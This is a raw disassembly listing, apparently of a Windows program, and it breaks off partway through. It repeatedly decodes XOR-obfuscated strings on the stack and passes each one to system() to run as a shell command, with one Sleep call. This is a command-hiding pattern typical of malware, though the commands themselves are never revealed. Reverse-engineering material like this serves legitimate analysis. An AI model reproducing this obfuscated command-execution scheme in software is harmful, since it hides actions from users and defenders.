movups xmm1, xmmword [0x1400a3090]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400a30a0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1400a30b0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1400a30c0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x1400a30d0]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x1400a30e0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1400a30e8]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1400a30ec]
mov byte [rbp - 0x44], al
xor r8d, r8d
cmp ebx, 2
jl 0x1400098b9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x1400097b0
cmp r8d, 0x8d
jge 0x140009903
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8d
jl 0x1400098d0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x20], eax
cmp byte [0x1400a36bb], 0
je 0x140009a00
cmp ebx, 2
jl 0x1400099bd
movdqa xmm3, xmmword [0x1400a6890]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a7280]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a7280]
shufps xmm2, xmm0, 0xdd
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, r15d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400a6cb0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x20], xmm2
jmp 0x140009a00
lea r9, [rbp + 0x20]
xor r8d, r8d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400099d0
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a55e0]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a55f0]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a55f2]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x140009b83
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009a80
cmp r8d, 0x13
jge 0x140009bc0
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140009b90
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4e80]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a4e90]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a4e92]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x140009d43
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009c40
cmp r8d, 0x13
jge 0x140009d80
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140009d50
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3f08]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a3f18]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a3f1a]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x140009f03
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009e00
cmp r8d, 0x13
jge 0x140009f40
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140009f10
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a63c0]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a63d0]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a63d2]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000a0c3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009fc0
cmp r8d, 0x13
jge 0x14000a100
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000a0d0
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4f28]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a4f38]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a4f3a]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000a283
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a180
cmp r8d, 0x13
jge 0x14000a2c0
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000a290
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a41f8]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a4208]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a420a]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000a443
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a340
cmp r8d, 0x13
jge 0x14000a480
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000a450
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.q_thb_YVMH_]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a66f0]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a66f2]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000a603
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a500
cmp r8d, 0x13
jge 0x14000a640
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000a610
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4b30]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a4b40]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a4b42]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000a7c3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a6c0
cmp r8d, 0x13
jge 0x14000a800
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000a7d0
lea rcx, [rbp + 0x170]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a42d0]
movups xmmword [rbp + 0x170], xmm0
movzx eax, word [0x1400a42e0]
mov word [rbp + 0x180], ax
movzx eax, byte [0x1400a42e2]
mov byte [rbp + 0x182], al
xor r8d, r8d
cmp ebx, 2
jl 0x14000a983
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
